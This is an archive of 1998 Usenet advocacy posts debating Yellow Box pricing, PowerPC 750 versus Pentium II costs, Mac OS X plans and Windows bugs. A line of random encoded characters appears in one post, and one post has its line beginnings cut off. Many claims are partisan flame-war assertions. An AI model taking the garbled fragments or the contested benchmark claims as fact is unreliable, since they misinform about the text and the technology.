>
> $500???
>
> Is that a solid figure or are you just guessing?
>
> If it is solid, how can Apple expect anyone to take them seriously about
> using YB to do ANY applications programming?
Why are you surprised Lawson? At least to me its obvious that he is
talking about the bottom rung of the developer program that allows you to
get rhapsody.
Of course, its not true that you have to have rhapsody to experiment with
YB, but I wont get into that.
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PPC 750 vs. Intel Pentium II
Date: 6 Sep 1998 07:24:21 GMT
Organization: University of Illinois at Chicago
Message-ID: <6stdb5$1rue$1@piglet.cc.uic.edu>
References: <6shd74$fth@newsb.netnews.att.com> <1deqjrd.100e86xid9v7kN@p006.intchg2.net.ubc.ca> <6sm8jd$m00@newsb.netnews.att.com> <6sm9hg$oc3$1@hecate.umd.edu>
David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: Motorola's 366 Mhz PPC750 is still listed as 0.25um, 5 layer metal,
: 67 mm^2 processor in its datasheets. However, IBM is listing its
: PPC750 as a 0.22um, 6 layer metal, 40 mm^2 processor. Mr Barris is
: also claiming now that this is the copper process, but I haven't been
: able to independently confirm nor deny this piece of information.
They also claim a channel length of 0.12um, which is less than
what they were claiming for their CMOS 6S2 and CMOS 6X processes.
As for what type of process this, it is most definitely a copper
process and is loudly proclaimed as such now on IBM Microelectronics
home page. I'm guessing that they are going to introduce a 0.22um SOI
version of this processor by the middle of next year.
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Sun, 06 Sep 1998 04:06:53 +0000
Organization: BM
Message-ID: <6stfdn$ejl$1@fir.prod.itd.earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
> But the volume, critical mass aggragation of
> users is achieved not by changing 100's of millions
> of peoples value judgements. Its by meeting the markets demands.
Not necessarily. That's what MS does and does very well. Apple leads more so
than it follows. The market wasn't screaming for iMac; initial reviews of the
specs back when it was firts announced were in the vein of "Apple at it again,
it'll surely fail, yada yada yada."
Apple popularized the then-brand new 3.5" floppy back when the market was using
and "wanted" nothing but the 5 1/4" floppies. Today Apple is leading with USB,
fast networking, etc., against the floppy with the iMac and the new PBG3s. A
full circle.
I don't think I need to recite here the unbelievable number of innovations Apple
has brought to the computing world from day one. Had they simply "followed" they
might be another Dell or Compaq, more prosperous but boring as hell.
Currently the market is "wanting" Windows overwhelmingly. Are you suggesting
Apple fold up and become a Windows vendor? Drop QuickTime and license RealAudio?
Drop WebObjects and license .asp/IIS technology? Give up YB for VB?
The majority will almost always go for the LCD, the "safe" and the "boring."
Nothing new about that. Those who don't really share the value system of Apple
will never like its products.
Ziya Oz
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
Date: Fri, 04 Sep 1998 09:50:42 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0409980950420001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com> <rmcassid-2808982317070001@hephaestus.eng.uci.edu> <1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com> <rmcassid-2908982059360001@dialin9116.slip.uci.edu> <vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com> <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net> <_JfG1.2729$MS.5651479@news.rdc1.sdca.home.com> <rmcassid-3108980020470001@dialin9062.slip.uci.edu> <640H1.2918$MS.7205576@news.rdc1.sdca.home.com> <rmcassid-0209981548340001@hephaestus.eng.uci.edu> <_KpH1.3257$MS.7958045@news.rdc1.sdca.home.com> <rmcassid-0309980900260001@hephaestus.eng.uci.edu> <4cFH1.3290$MS.8381438@news.rdc1.sdca.home.com>
In article <4cFH1.3290$MS.8381438@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>We've come full circle, now. Exposed is the myth that industry wants Open
>Soutions. Revealed is the reality that its the Platform Stupid. To wit:
>Microsoft continues to dominate irregardless...
>
>Excellent points which flush this thread to its conclusion... what does
>at mean? Microsoft Windows is "natural law" in the universe of desktop
>tems. Unless you've got an argument for maintaining a Mac publishing system
> AND a Windows office computer.
Very valid point.
Upsetting MS will require something significant and measurable by Apple.
Catastrophic blunders on the parts of Intel and MS would help immensely.
:-)
-Bob Cassidy
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Wintrolls Lost It? Where's "Mac Is DEAD!"/"Apple Going AWAY!" ?
Date: Thu, 03 Sep 1998 00:09:48 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0309980009480001@sdn-ar-001casbarp310.dialsprint.net>
References: <datamagik-0209980538550001@eccr225mac195.colorado.edu> <35fd8ab5.317187406@198.0.0.100> <datamagik-0209982248550001@norlm350mac20.colorado.edu>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <datamagik-0209982248550001@norlm350mac20.colorado.edu>,
datamagik@usa.net (Jay Riley) wrote:
> The iMac has EVERYTHING you need to go on the net (including a VERY crisp
> built in monitor), AND it toasts even the exalted PII/400MHz. And that's
> according to a platform independent, industry standard benchmark that was
> just fine for PC lovers until Apple released an ENTRY LEVEL machine that
> embarassed the fastest Intel offering...so badly that PC Mag had to go
> back and do a rigged test to even make the Pentisnail-II/400 appear to
> even KEEP UP.
I wonder if Jay actually believes this. After everything that has been
written about bytemark, how Apple's own web page admitted that Apple did
the test in its own lab, the results of codewarrior doing the compiling on
BOTH platforms, the real world reports, even what Apple's own engineers
have said about a g3 being only %30 faster than a same speed p2, how could
one be so naive?
And this person claims to be a engineer!!!!!!
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 03 Sep 1998 09:16:42 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-0309980916420001@jchristie.halifaxcable.dal.ca>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net> <ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net> <EyoKBy.CAo@T-FCN.Net> <ckoller-0209982205240001@40.long-beach-01.ca.dial-access.att.net>
In article
<ckoller-0209982205240001@40.long-beach-01.ca.dial-access.att.net>,
ckoller@worldnet.att.net (Craig(nospam)Koller) wrote:
> Gotta love this "battle of the boxes..."
No battle. They live in harmony :)
Seriously, the only battle is among developers who wish to promote one
or the other.
> Then again, *honestly* how realistic is it for the YB layer for Win/NT/98
> to happen? (wouldn't it be like MS to "break" this?) If that were the
They haven't for a considerable period of time. More than likely, as
they've become more abstracted, they cannot. The best they could do is
put up a bunch of warning saying that "xXx" program is not certified to
run on this version of Windows.
> Seeing that Adobe's K2 is a brand spankin' new app set for deployment in a
> year or so, I was wondering whether they were doing this via carbon or via
> YB. I'd imagine Carbon...
K2 was demoed on OS X as an OS X app at Seybold. If it was YB it was
impossible to tell it from any other app they demoed. They were careful
to mention that K2 and Quark were prepared specifically for the demo and
OS X. With Illustrator it probably ran in the Blue Box because they only
described it as being presented Mac first with no reference to OS X
preparation. They also said that this was the same version as would be
available to everyone in the coming months.
One would be hard pressed to tell the differences among the different
apps in terms of whether they were Carbon, YB, or Blue Box.
One interesting thing was that these programs were not maintained in
the background. The demonstrator carefully quit each app before launching
the next.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PPC 750 vs. Intel Pentium II
Date: 3 Sep 1998 14:00:24 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6sm7do$lsf@newsb.netnews.att.com>
References: <6shd74$fth@newsb.netnews.att.com> <6sk8ua$ch9$1@msunews.cl.msu.edu>
Originator: gupta@tlctest
>
>Do you happen to know what specific systems the 750 benchmarks where
>obtained on? I presume IBM. What OS?
>
I couldn't find any indication on the IBM web-site.
IBM's submitted results on www.specbench.org (which do not
include any PowerPC 750 results) use AIX 4, and are in their
RS/6000 line (typically 604Es).
The story on IBM's Silicon-on-Insulator process said that
IBM demonstrated, internally, a 4-way PowerPC 750 server,
where the CPUs were built on Silicon-on-Insulator.
So, internally, I guess they have set-ups for 750s running AIX.
-arun gupta
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PPC 750 vs. Intel Pentium II
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 3 Sep 1998 14:36:32 GMT
Organization: University of Maryland, College Park
Message-ID: <6sm9hg$oc3$1@hecate.umd.edu>
References: <6shd74$fth@newsb.netnews.att.com> <1deqjrd.100e86xid9v7kN@p006.intchg2.net.ubc.ca> <6sm8jd$m00@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: Bruce Bennett <bbennett@unixg.ubc.ca> wrote:
: >
: >But what about the per-unit manufacturing cost on the one hand, and
: >selling price on the other (economy of scale presumably going to the
: >manufacturer with the biggest market)? Are PPC chips inherently cheaper?
: The factors entering the per-unit manufacturing cost are closely guarded
: secrets, I am told. The people at Microprocessor Reports guessed, at
: the time of the introduction of the Arthur (PowerPC 750) and
: Klamath (Pentium II) that the PowerPC would cost about half as much as Klamath
: to manufacture.
: (EETimes, February 17, 1997
: URL : http://www.techweb.com/se/directlink.cgi?EET19970217S0059
: Sad triumph for PowerPC, Michael Slater).
: Quote :
: "At 67 mm^2, Arthur is one-third the size of the 203 mm^2 Klamath.
: As a result, MicroDesign Resources puts Arthur's manufacturing cost
: at half that of the Intel architecture.
: End quote.
: -arun gupta
I think MDR estimate Pentium II production costs at $65 per. (without
cache, $85 with) They also estimate PPC750 manufacturing cost at $40
each. (this is all from memory)
Offcial list price for 450 MHz Pentium II is around $700 each, in
10,000 unit quantities. pricewatch shows them for sale at around
$660 each. Official list price for 366 MHz PPC750 (without cache)
is $595, in 1,000 unit quantities.
Incidently, All Klamath processors have pretty much been phased out.
That is why there is a dearth of 233, 266, and to some extent, 300
MHz P II's out there. The 333, 350. 400, and 450 P II's are 0.25um
deschutes, which is about ~ 130mm^2. (Celeron A might be a lot bigger,
but I haven't seen any indicator of its size)
Motorola's 366 Mhz PPC750 is still listed as 0.25um, 5 layer metal,
67 mm^2 processor in its datasheets. However, IBM is listing its
PPC750 as a 0.22um, 6 layer metal, 40 mm^2 processor. Mr Barris is
also claiming now that this is the copper process, but I haven't been
able to independently confirm nor deny this piece of information.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Content-Type: text/plain; charset=us-ascii
Message-ID: <EyppwC.485@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: quinlan@intergate.bc.ca
Organization: none
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
<6sl6h2$8qa$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Thu, 3 Sep 1998 14:36:12 GMT
In <6sl6h2$8qa$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> That is the problem. You think that it is ok for the foreground application
n to
> be blocked while a menu is down. I do not.
Nor do I, but I think that having the entire system block is MUCH MUCH
se and needs to be fixed RIGHT NOW. In fact I thought it was going to be in
8.5.
The fact that OpenStep doesn't block is a historical accident of the
techture of the system, with the WindowServer and DPS being in different
ps". Other bits of the mouse handling indeed cause the system to block the
foreground, like scrolling. I really don't think this is that much
t.
The only "proper" solution to all of these issues is to spawn the UI
ollers into another thread. This would likely result in similar behaviour to
o today's OpenStep, yet likely with better performance (local vars, less
text switches etc.). I don't propose a BeOS level of threading, but perhaps
eQD and things formed on top could be threaded.
> Also, why would the menu handler
> call WNE? Isn't every Carbon application preemptively scheduled?
This would work under BB as well.
Maury
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com> <35f54abf.2225065@news.alt.net> <no-spam-0509981559360001@10.0.1.99> <35f2cad3.35018678@news.alt.net>
Subject: Re: What we need from Mac OSuX
Message-ID: <6UuI1.1222$2s.1206519@newsfeed.slurp.net>
Date: Sun, 06 Sep 1998 12:05:22 GMT
NNTP-Posting-Date: Sun, 06 Sep 1998 05:05:22 PDT
Organization: Slurp News Feeds
vapor wrote in message <35f2cad3.35018678@news.alt.net>...
>It would be nice if Gates would climb down off his
>mountain of gold and provide a scripting language standard with NT. If
>your gonna bloat up a Op system you may as well toss in some useful
>things.
You'd be suprised... much of the source code is avalible from Micorsoft to
MSDN members.
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com>
Subject: Re: What we need from Mac OSuX
Message-ID: <9UuI1.1224$2s.1206519@newsfeed.slurp.net>
Date: Sun, 06 Sep 1998 12:05:25 GMT
NNTP-Posting-Date: Sun, 06 Sep 1998 05:05:25 PDT
Organization: Slurp News Feeds
hughesojh@my-dejanews.com wrote in message
<6src19$1p3$1@nnrp1.dejanews.com>...
>Bugs:
>
>1) Typing the first letter of an icon's name doesn't work properly.
Explain...
>2) Dunno if this counts as a bug, but there is no live scrolling
What is Live Scolling?
>3) If you put a folder hierachy in the wastebasket, windoze forgets which
>folder each item was in.
Not true. If you drag a folder to the Recycle Bin, and restore that folder,
all contents go back to their original location. What are you talking about?
>4) Windoze doesn't work properly, if at all, if it can see HPFS partitions.
Windows, Win95, and Win98 can't read HPFS partitions. NT can.
BTW, features that don't exist, but you wish did, are not bugs.
>5) To get it to work with LILO, you have to use DiskDruid to make the MKFS
,
>swap partitions and dos partition, then install windows, then install linux
>again.
That's LILO's problem. LILO is a Linux boot loader... it's their
responsibility to configure their boot loader to work with other operating
systems, not MS's. Windows has been around much longer then LILO.
>6) Does the fact that windoze crashes twice a day on average not suggest to
>you that there are a fair few bugs in the memory management?
Windows crashes about as often as Mac OS does. Most crashes are the fault of
the loaded software, not the OS. NT has memory protection which eliminates
this problem. I've been running NT for over a year without a crash.
>7) If windoze is soooo bug free, why does every other piece of M$ software
>replace the MSCVRT.DLL?
>Covert bug fixes?
Bug fixes? No. Adding new code, not replacing it.
So far you still haven't given me one example of a bug.
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com>
Subject: Re: What we need from Mac OSuX
Message-ID: <5UuI1.1221$2s.1206519@newsfeed.slurp.net>
Date: Sun, 06 Sep 1998 12:05:21 GMT
NNTP-Posting-Date: Sun, 06 Sep 1998 05:05:21 PDT
Organization: Slurp News Feeds
hughesojh@my-dejanews.com wrote in message
<6srcdn$2dl$1@nnrp1.dejanews.com>...
>"If the computer does something dumb, why it must be MY fault".
This is the Linux users mentality.
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <6ssrdr$q3u$1@ash.prod.itd.earthlink.net>
Subject: Re: What we need from Mac OSuX
Message-ID: <aUuI1.1225$2s.1206519@newsfeed.slurp.net>
Date: Sun, 06 Sep 1998 12:05:26 GMT
NNTP-Posting-Date: Sun, 06 Sep 1998 05:05:26 PDT
Organization: Slurp News Feeds
Todd Arneson wrote in message <6ssrdr$q3u$1@ash.prod.itd.earthlink.net>...
>>3) If you put a folder hierachy in the wastebasket, windoze forgets which
>>folder each item was in.
>
>This isn't a bug, that's how Win9x was made. By your reasoning, a car has a
>bug because it can't fly. Come on...
Actually, Win95 and Win98 does remember the location of each file. It tells
you where they came from when you view the Recycle Bin's folder in detail
mode, or get properties on each file.. and when you restore them, they are
restored to their original location.
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com> <35f54abf.2225065@news.alt.net> <no-spam-0509981559360001@10.0.1.99> <35f2cad3.35018678@news.alt.net> <TBkI1.2504$KK4.8145876@news.san.rr.com>
Subject: Re: What we need from Mac OSuX
Message-ID: <7UuI1.1223$2s.1206519@newsfeed.slurp.net>
Date: Sun, 06 Sep 1998 12:05:23 GMT
NNTP-Posting-Date: Sun, 06 Sep 1998 05:05:23 PDT
Organization: Slurp News Feeds
David K. Every wrote in message ...
>Like how do I get more IRQ's?
If you use PCI it doesn't matter, because PCI cards can share IRQ's. Also,
all USB and Parallel devices use the same IRQ.
Basically, if you don't use ISA, IRQ problems don't exist.
Dan
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net> <ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net> <EyoKBy.CAo@T-FCN.Net> <ckoller-0209982205240001@40.long-beach-01.ca.dial-access.att.net>
Message-ID: <35eeaf7f.0@news.depaul.edu>
Date: 3 Sep 98 15:02:23 GMT
In comp.sys.next.advocacy Craig(nospam)Koller <ckoller@worldnet.att.net> wrote:
> Then again, *honestly* how realistic is it for the YB layer for Win/NT/98
> to happen?
If they weren't going to ship YB/Windows, then Display Postscript's
runtime fees would not be an issue. They could have saved a lot
of work by keeping DPS for MacOS/X, instead of starting work on
their PDF/Enhanced Quickdraw engine. They'll need a free runtime
for Windows, and Adobe wasn't interested in that (understandably,
considering their recent results) so Apple had to get rid of DPS
and roll their own.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: eugene@cs.umb.edu (Eugene O'Neil)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Thu, 03 Sep 98 16:43:34 GMT
Organization: MORE Systems
Message-ID: <6smh3l$gld@sjx-ixn1.ix.netcom.com>
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com> <Eynut8.H0w@T-FCN.Net> <35ED6231.B7655F0B@ericsson.com> <6skt5a$147m1@odie.mcleod.net>
In article <6skt5a$147m1@odie.mcleod.net>, "Michelle L. Buck" <buck.erik@mcleod.net> wrote:
[several paragraphs of how Linux is great and BSD sucks deleted ]
>YellowBox + Apple GUI on top of LINUX would appeal to the same users to whom
>LINUX currently appeals and Microsoft does not address. It might even
>appeal to existing Mac users.
You know who it wouldn't appeal to? All the Apple developers who have already
written thousands, if not millions of lines of code to run on top of BSD. Also
the legal department, who are more comfortable with the BSD license than the
GNU license.
>MacOS-X may appeal to existing Mac users, but
>It will probably not appeal to anyone else and it will be squarely in
>competition with Microsoft OSs that have already won the market share war.
As a Linux user, I find the prospect of MacOS-X far more appealing than the
existing MacOS. BSD isn't exactly identical to Linux, but it IS a perfectly
decent implementation of Unix, and I am at least going to take it for a test
drive before I start bitching about how badly it sucks. What's your problem,
anyway? Apple does not need Linux to survive, just as Linux does not need
Apple to survive. Learn to deal with it!
-Eugene
Date: Sun, 06 Sep 1998 07:35:25 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <joe.ragosta-0609980735250001@elk72.dol.net>
References: <*johnnyc*-0509981018140001@jchristie.halifaxcable.dal.ca> <B21760D8-A78A@206.165.43.97>
In article <B21760D8-A78A@206.165.43.97>, "Lawson English"
<english@primenet.com> wrote:
> John Christie <*johnnyc*@or.psychology.dal.ca> said:
>
> >In article <B2158A70-C061C@206.165.43.164>, "Lawson English"
> ><english@primenet.com> wrote:
> >
> >> No-one is stopping you from using the Yellow Box. The only reason why I
> >am
> >> doing GXFCN using the obsolete GX API is because
> >
> > Well, Apple is stopping alot of people from experimenting with YB by
> >requiring they pony up $500.
> > BTW, anyone here about the YB programming contest put on by Apple
> >Germany?
>
> $500???
>
> Is that a solid figure or are you just guessing?
>
> If it is solid, how can Apple expect anyone to take them seriously about
> using YB to do ANY applications programming?
You could go to Apple's web pages to get the information for yourself.
IIRC, $500 is the minimum paid developer level. You get all the CDs and tools.
However, you can download all the information for free. So there's no $500
minimum.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net> <ckoller-ya02408000R0209981609130001@netnews.worldnet.att.net> <EyoKBy.CAo@T-FCN.Net> <ckoller-0209982205240001@40.long-beach-01.ca.dial-access.att.net> <35eeaf7f.0@news.depaul.edu> <Eypv66.7sy@T-FCN.Net>
Message-ID: <35eee7ad.0@news.depaul.edu>
Date: 3 Sep 98 19:02:05 GMT
In comp.sys.next.advocacy Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <35eeaf7f.0@news.depaul.edu> Jonathan W Hendry wrote:
> > If they weren't going to ship YB/Windows, then Display Postscript's
> > runtime fees would not be an issue. They could have saved a lot
> > of work by keeping DPS for MacOS/X,
> Hmm, interesting way of looking at it.
There could, of course, be other issues. And I'm sure Apple would
rather not send Adobe $20 for every OS/X user. But the DPS-removal
could probably wait until a later version of OS/X.
BTW, Maury, I've also seen your posts cut off on the left. Perhaps
you need to move the paper over on the platen? ;-)
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Thu, 03 Sep 1998 15:04:10 -0500
Organization: Ericsson North America Inc.
Message-ID: <35EEF63A.A2588CC1@ericsson.com>
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com> <Eynut8.H0w@T-FCN.Net> <35ED6231.B7655F0B@ericsson.com> <6skt5a$147m1@odie.mcleod.net> <6smh3l$gld@sjx-ixn1.ix.netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Eugene O'Neil wrote:
> You know who it wouldn't appeal to? All the Apple developers who have already
> written thousands, if not millions of lines of code to run on top of BSD. Also
> the legal department, who are more comfortable with the BSD license than the
> GNU license.
It would be terrible to switch directions on these people. Even so, it
would be something like the first time, for most of them, that Apple had
done that. I'm saving my tears for the Newton developers and the GX
developers and the OpenDoc developers and the PowerTalk developers.
At any rate, I have to wonder how many of these "thousands, if not
millions of lines of code" actually depend on BSD. Are we talking about
Yellow Box code? Does it actually make any difference whether it runs on
BSD or on NT or on Linux? I was told that Yellow Box apps were 100%
source-portable between Yellow Box systems. Was something
misrepresented?
Finally, nobody is claiming that Apple should give up a BSD-based
strategy. If Apple can offer the fastest and/or most robust system based
on BSD, why not sell it? Sounds like a plan. The important issue at hand
is marketing an equally-positioned Linux port of the Yellow Box
libraries and whatever desktop environment Apple adopts.
> As a Linux user, I find the prospect of MacOS-X far more appealing than the
> existing MacOS. BSD isn't exactly identical to Linux, but it IS a perfectly
> decent implementation of Unix, and I am at least going to take it for a test
> drive before I start bitching about how badly it sucks. What's your problem,
> anyway?
For what it's worth, you might be well-advised to re-read Michelle's
post. It does insinuate anything like "BSD sucks".
> Apple does not need Linux to survive, just as Linux does not need
> Apple to survive. Learn to deal with it!
You don't need a computer to survive. Take your own advice: learn to
deal with living without one.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Instant Online Dictionary
Date: Thu, 03 Sep 1998 15:10:38 -0500
Organization: Ericsson North America Inc.
Message-ID: <35EEF7BE.671C61B8@ericsson.com>
References: <alex-0309981249240001@castle.webis.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
